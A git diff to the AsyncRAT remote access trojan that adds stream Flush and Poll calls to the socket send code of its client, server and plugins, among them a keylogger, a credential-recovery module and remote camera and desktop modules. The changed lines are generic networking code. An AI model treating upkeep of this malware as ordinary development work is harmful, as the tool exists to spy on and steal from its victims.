diff --git a/AsyncRAT-C#/Client/Connection/ClientSocket.cs b/AsyncRAT-C#/Client/Connection/ClientSocket.cs index a19fbb4..55dcae9 100644 --- a/AsyncRAT-C#/Client/Connection/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Connection/ClientSocket.cs @@ -233,6 +233,7 @@ namespace Client.Connection { TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(chunk, 0, read); + SslClient.Flush(); } } } diff --git a/AsyncRAT-C#/Plugin/Chat/Chat/Connection.cs b/AsyncRAT-C#/Plugin/Chat/Chat/Connection.cs index 712b943..497e568 100644 --- a/AsyncRAT-C#/Plugin/Chat/Chat/Connection.cs +++ b/AsyncRAT-C#/Plugin/Chat/Chat/Connection.cs @@ -193,6 +193,7 @@ namespace Plugin { TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(chunk, 0, read); + SslClient.Flush(); } } } diff --git a/AsyncRAT-C#/Plugin/Extra/Extra/Connection.cs b/AsyncRAT-C#/Plugin/Extra/Extra/Connection.cs index 4f05f4a..2f24f83 100644 --- a/AsyncRAT-C#/Plugin/Extra/Extra/Connection.cs +++ b/AsyncRAT-C#/Plugin/Extra/Extra/Connection.cs @@ -190,6 +190,7 @@ namespace Plugin { TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(chunk, 0, read); + SslClient.Flush(); } } } diff --git a/AsyncRAT-C#/Plugin/FileManager/FileManager/Connection.cs b/AsyncRAT-C#/Plugin/FileManager/FileManager/Connection.cs index 4a07772..6d527b6 100644 --- a/AsyncRAT-C#/Plugin/FileManager/FileManager/Connection.cs +++ b/AsyncRAT-C#/Plugin/FileManager/FileManager/Connection.cs @@ -196,6 +196,7 @@ namespace Plugin { TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(chunk, 0, read); + SslClient.Flush(); } } } diff --git a/AsyncRAT-C#/Plugin/FileSearcher/FileSearcher/Connection.cs b/AsyncRAT-C#/Plugin/FileSearcher/FileSearcher/Connection.cs index 70456c5..0405fd2 100644 --- a/AsyncRAT-C#/Plugin/FileSearcher/FileSearcher/Connection.cs +++ b/AsyncRAT-C#/Plugin/FileSearcher/FileSearcher/Connection.cs @@ -197,11 +197,13 @@ namespace Plugin { TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(chunk, 0, read); + SslClient.Flush(); } } } else { + TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(msg, 0, msg.Length); SslClient.Flush(); } diff --git a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Connection.cs b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Connection.cs index 165b980..e3025ec 100644 --- a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Connection.cs +++ b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Connection.cs @@ -190,6 +190,7 @@ namespace Plugin { TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(chunk, 0, read); + SslClient.Flush(); } } } diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Connection.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Connection.cs index 4f05f4a..2f24f83 100644 --- a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Connection.cs +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Connection.cs @@ -190,6 +190,7 @@ namespace Plugin { TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(chunk, 0, read); + SslClient.Flush(); } } } diff --git a/AsyncRAT-C#/Plugin/Options/Options/Connection.cs b/AsyncRAT-C#/Plugin/Options/Options/Connection.cs index 8eeb25a..2f24f83 100644 --- a/AsyncRAT-C#/Plugin/Options/Options/Connection.cs +++ b/AsyncRAT-C#/Plugin/Options/Options/Connection.cs @@ -190,11 +190,13 @@ namespace Plugin { TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(chunk, 0, read); + SslClient.Flush(); } } } else { + TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(msg, 0, msg.Length); SslClient.Flush(); } diff --git a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Connection.cs b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Connection.cs index 0ab1151..49c3905 100644 --- a/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Connection.cs +++ b/AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Connection.cs @@ -190,11 +190,13 @@ namespace Plugin { TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(chunk, 0, read); + SslClient.Flush(); } } } else { + TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(msg, 0, msg.Length); SslClient.Flush(); } diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/Connection.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/Connection.cs index fab50de..e942e80 100644 --- a/AsyncRAT-C#/Plugin/Recovery/Recovery/Connection.cs +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/Connection.cs @@ -109,11 +109,14 @@ namespace Plugin { TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(chunk, 0, read); + SslClient.Flush(); + } } } else { + TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(msg, 0, msg.Length); SslClient.Flush(); } diff --git a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Connection.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Connection.cs index 5922397..19e5959 100644 --- a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Connection.cs +++ b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Connection.cs @@ -189,11 +189,13 @@ namespace Plugin { TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(chunk, 0, read); + SslClient.Flush(); } } } else { + TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(msg, 0, msg.Length); SslClient.Flush(); } diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Connection.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Connection.cs index 7ff60cb..fefe201 100644 --- a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Connection.cs +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Connection.cs @@ -190,11 +190,13 @@ namespace Plugin { TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(chunk, 0, read); + SslClient.Flush(); } } } else { + TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(msg, 0, msg.Length); SslClient.Flush(); } diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/Connection.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/Connection.cs index 0c6f18a..c271895 100644 --- a/AsyncRAT-C#/Plugin/SendFile/SendFile/Connection.cs +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/Connection.cs @@ -189,11 +189,13 @@ namespace Plugin { TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(chunk, 0, read); + SslClient.Flush(); } } } else { + TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(msg, 0, msg.Length); SslClient.Flush(); } diff --git a/AsyncRAT-C#/Plugin/SendMemory/SendMemory/Connection.cs b/AsyncRAT-C#/Plugin/SendMemory/SendMemory/Connection.cs index 4bd8917..d6bf0e2 100644 --- a/AsyncRAT-C#/Plugin/SendMemory/SendMemory/Connection.cs +++ b/AsyncRAT-C#/Plugin/SendMemory/SendMemory/Connection.cs @@ -189,11 +189,13 @@ namespace Plugin { TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(chunk, 0, read); + SslClient.Flush(); } } } else { + TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(msg, 0, msg.Length); SslClient.Flush(); } diff --git a/AsyncRAT-C#/Server/Connection/Clients.cs b/AsyncRAT-C#/Server/Connection/Clients.cs index 55d94a0..3bbe8d6 100644 --- a/AsyncRAT-C#/Server/Connection/Clients.cs +++ b/AsyncRAT-C#/Server/Connection/Clients.cs @@ -198,6 +198,7 @@ namespace Server.Connection { TcpClient.Poll(-1, SelectMode.SelectWrite); SslClient.Write(chunk, 0, read); + SslClient.Flush(); lock (Settings.LockReceivedSendValue) Settings.SentValue += read; }